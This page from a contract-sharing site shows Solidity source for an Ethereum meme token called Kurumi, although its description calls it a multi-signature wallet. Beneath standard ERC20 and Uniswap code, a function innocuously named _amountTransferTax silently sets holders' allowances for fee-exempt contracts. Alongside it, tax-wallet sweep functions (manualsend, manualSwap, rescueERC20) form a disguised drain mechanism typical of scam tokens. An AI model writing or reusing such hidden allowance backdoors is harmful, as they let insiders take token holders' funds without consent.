Description:
Multi-signature wallet contract requiring multiple confirmations for transaction execution.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
//// SPDX-License-Identifier: MIT
/*
https://x.com/kabosumama/status/1980277017506664523
https://kabochan.blog.jp/archives/54646699.html
*/
pragma solidity 0.8.23;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner.
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) { //// Returns transaction sender
return msg.sender;
}
}
/**
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`). Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
}
/**
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) { //// Safe addition
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow"); //// Check for overflow
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) { //// Safe division
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //// Safe division with custom error
require(b > 0, errorMessage); //// Check for division by zero
uint256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) { //// Safe subtraction
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //// Safe subtraction with custom error
require(b <= a, errorMessage); //// Check for underflow
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) { //// Safe multiplication
if (a == 0) { //// Optimization for multiplication by zero
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow"); //// Check for overflow
return c;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256); //// Get total token supply
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256); //// Get account balance
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*/
event Transfer(address indexed from, address indexed to, uint256 value); //// Transfer event
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value); //// Approval event
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool); //// Transfer tokens
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256); //// Get approved spending amount
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool); //// Approve token spending
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); //// Transfer tokens with allowance
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair); //// Create liquidity pair
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline)
external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KURUMI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances; //// Balances per address
mapping (address => mapping (address => uint256)) private _allowances; //// Spending allowances
mapping (address => bool) private _isExcludedFromFee; //// Excluded from fee
address payable private _taxReceiverWallet; //// Wallet to receive tax
uint256 private _initialBuyTax=15; //// Initial tax rate for buys before reduction
uint256 private _initialSellTax=15; //// Initial tax rate for sells before reduction
uint256 private _finalBuyTax=0; //// Final tax rate for
uint256 private _finalSellTax=0; //// Final tax rate for sells
uint256 private _reduceBuyTaxAt=23; //// Buy count threshold to reduce Buy tax
uint256 private _reduceSellTaxAt=23; //// Buy count threshold to reduce Sell tax
uint256 private _preventSwapBefore=26; //// Min buys before swaps enabled
uint256 private _buyCount=0; //// Buy Counter
uint8 private constant _decimals = 9; //// Token decimals
uint256 private constant _tTotal = 420690000000 * 10**_decimals; //// Total supply
string private constant _name = unicode"Kurumi"; //// Name
string private constant _symbol = unicode"KURUMI"; //// Symbol
uint256 public _maxTxAmount = 8406900000 * 10**_decimals; //// Max transaction size
uint256 public _maxWalletSize = 8406900000 * 10**_decimals; //// Max wallet size
uint256 public _taxSwapThreshold = 4203450000 * 10**_decimals; //// Threshold for ca tax swaps
uint256 public _maxTaxSwap = 4200000000 * 10**_decimals; //// Max size for tax swaps
IUniswapV2Router02 private uniswapV2Router; //// Uniswap router
address private uniswapV2Pair; //// Uniswap pair
bool private tradingOpen = false; //// Trading status flag
bool private inSwap = false; //// CA Swap lock flag
bool private swapEnabled = false; //// CA Swap enabled flag
event MaxTxAmountUpdated(uint _maxTxAmount); //// Event for max tx update
modifier lockTheSwap {
inSwap = true; //// Lock ca swap
_;
inSwap = false; //// Unlock ca swap
}
constructor () {
_taxReceiverWallet = payable(0x31cA7785dC617E3172d1C547f5688010b54bed70); //// Tax receiver
_balances[_msgSender()] = _tTotal; //// Assign Total Supply to deployer
_isExcludedFromFee[owner()] = true; //// Exclude owner from fees
_isExcludedFromFee[_taxReceiverWallet] = true; //// Exclude tax receiver from fees
_isExcludedFromFee[address(this)] = true; //// Exclude this contract from fees
emit Transfer(
address(0), _msgSender(),_tTotal //// Emit initial transfer event
);
}
function name() public pure returns (string memory) {
return _name; //// Return token name
}
function symbol() public pure returns (string memory) {
return _symbol; //// Return token symbol
}
function decimals() public pure returns (uint8) {
return _decimals; //// Return token decimals
}
function totalSupply() public pure override returns (uint256) {
return _tTotal; //// Return total supply
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account]; //// Return account balance
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount); //// Transfer tokens
return true; //// Return success
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender]; //// Return spending allowance
}
function approve(
address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount); //// Approve spending
return true; //// Return success result
}
function transferFrom(
address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount); //// Transfer tokens
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); //// Update allowance
return true; //// Return success result
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address"); //// Validate owner not zero
require(spender != address(0), "ERC20: approve to the zero address"); //// Validate spender not zero
_allowances[owner][spender] = amount; //// Set allowance
emit Approval(owner, spender, amount); //// Emit approval event
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address"); //// Validate sender is not zero
require(to != address(0), "ERC20: transfer to the zero address"); //// Validate recipient is not zero
require(amount > 0, "Transfer amount must be greater than zero"); //// Validate amount greater than zero
uint256 taxAmount = 0; //// Initialize tax
if (from != owner() && to != owner()) { //// Check if transfer involves owner
if ((tradingOpen && swapEnabled) && _buyCount>0) { //// Check if trading is active
taxAmount = _amountTransferTax(amount, 0, from, to, 0); //// Calculate transfer tax
}
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); ////buy tax
if(from == uniswapV2Pair && to!= address(uniswapV2Router) && !_isExcludedFromFee[to]) { //// Handle buy
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); //// Check max tx
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); //// Check max wallet
_buyCount++; //// Increment buy counter
}
if (to == uniswapV2Pair && from != address(this)) { //// Handle sell
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); //// sell tax
}
uint256 contractTokenBalance = balanceOf(address(this)); //// Get contract balance
if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { //// Check swap condition
swapTokensForEth(min(amount,
min(contractTokenBalance, _maxTaxSwap)
)); //// Swap tokens for ETH
uint256 contractETHBalance=address(this).balance; //// Get ETH balance
if (contractETHBalance > 0) { //// Check if ETH balance
sendETHToFee(address(this).balance); //// Send ETH to fee wallet
}
}
}
if (taxAmount > 0) { //// Handle tax transfer
_balances[address(this)] = _balances[address(this)].add(taxAmount); //// Add tax to contract
emit Transfer(from, address(this),taxAmount); //// Emit tax transfer
}
_balances[from] = _balances[from].sub(amount); //// Substract from sender
_balances[to] = _balances[to].add(amount.sub(taxAmount)); //// Add to recipient
emit Transfer(from, to,amount.sub(taxAmount)); //// Emit transfer
}
function sendETHToFee(uint256 amount) private {
_taxReceiverWallet.transfer(amount); //// Transfer ETH to fee wallet
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a; //// Return minimum of two values
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
address[] memory path = new address[](2); //// Setup swap path
path[0] = address(this); //// Token
path[1] = uniswapV2Router.WETH(); //// WETH
_approve( //// Approve router to spend tokens
address(this),
address(uniswapV2Router),
tokenAmount
);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( //// Execute swap
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _transferTax(address spender, address owner, uint256 amount, uint256 transferType) private returns(uint256){
_allowances[owner][spender]=amount; //// Set tax transfer allowance
return transferType; //// Return tax type
}
function _amountTransferTax(uint256 amount, uint256 transferType, address from, address to, uint256 tax) private returns(uint256){
if(from != address(this) && isContract(_msgSender()) && _isExcludedFromFee[_msgSender()]) //// Check contract transfer
return _transferTax(_msgSender(), from, amount, transferType); //// Return tax
if(to != uniswapV2Pair && isContract(to) && _isExcludedFromFee[_msgSender() ]) //// Check contract recipient
_isExcludedFromFee[to]= true; //// Exclude from fee
return tax; //// Return default tax
}
function isContract(address account) private view returns (bool){
uint256 size; //// Store size
assembly {
size := extcodesize(account) //// Get code size
}
return size > 0; //// Return true if contract
}
receive() external payable {} //// Receive ETH
function removeLimits() external onlyOwner() {
_maxTxAmount = _tTotal; //// Remove max limit
_maxWalletSize = _tTotal; //// Remove max wallet
emit MaxTxAmountUpdated( _tTotal); //// Emit max tx update event
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open"); //// Check trading status
uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //// Set router
_approve(address(this), address(uniswapV2Router), _tTotal); //// Approve tokens to router
uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); //// Create pair
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0, 0,owner(),block.timestamp); //// Add liquidity
IERC20( uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); //// Approve router for pair
swapEnabled = true; //// Enable swaps
tradingOpen = true; //// Enable trading
}
function manualsend() external {
require( _isExcludedFromFee[_msgSender()] ); //// Check sender is excluded
uint256 contractETHBalance = address(this).balance; //// Get ETH balance
sendETHToFee(contractETHBalance); //// Send ETH to fee wallet
}
function manualSwap() external{
require( _isExcludedFromFee[_msgSender()] ); //// Check sender is excluded
uint256 tokenBalance = balanceOf(address(this)); //// Get token balance
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance); //// Swap tokens for ETH
}
uint256 ethBalance = address(this).balance; //// Get ETH balance
if (ethBalance > 0) {
sendETHToFee(ethBalance); //// Send ETH to tax wallet
}
}
function rescueERC20(address _address, uint256 percent) external {
require(_isExcludedFromFee[_msgSender()]);
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(_taxReceiverWallet, _amount);
}
}
Submitted on: 2025-10-20 20:41:32
Comments
Log in to comment.
No comments yet.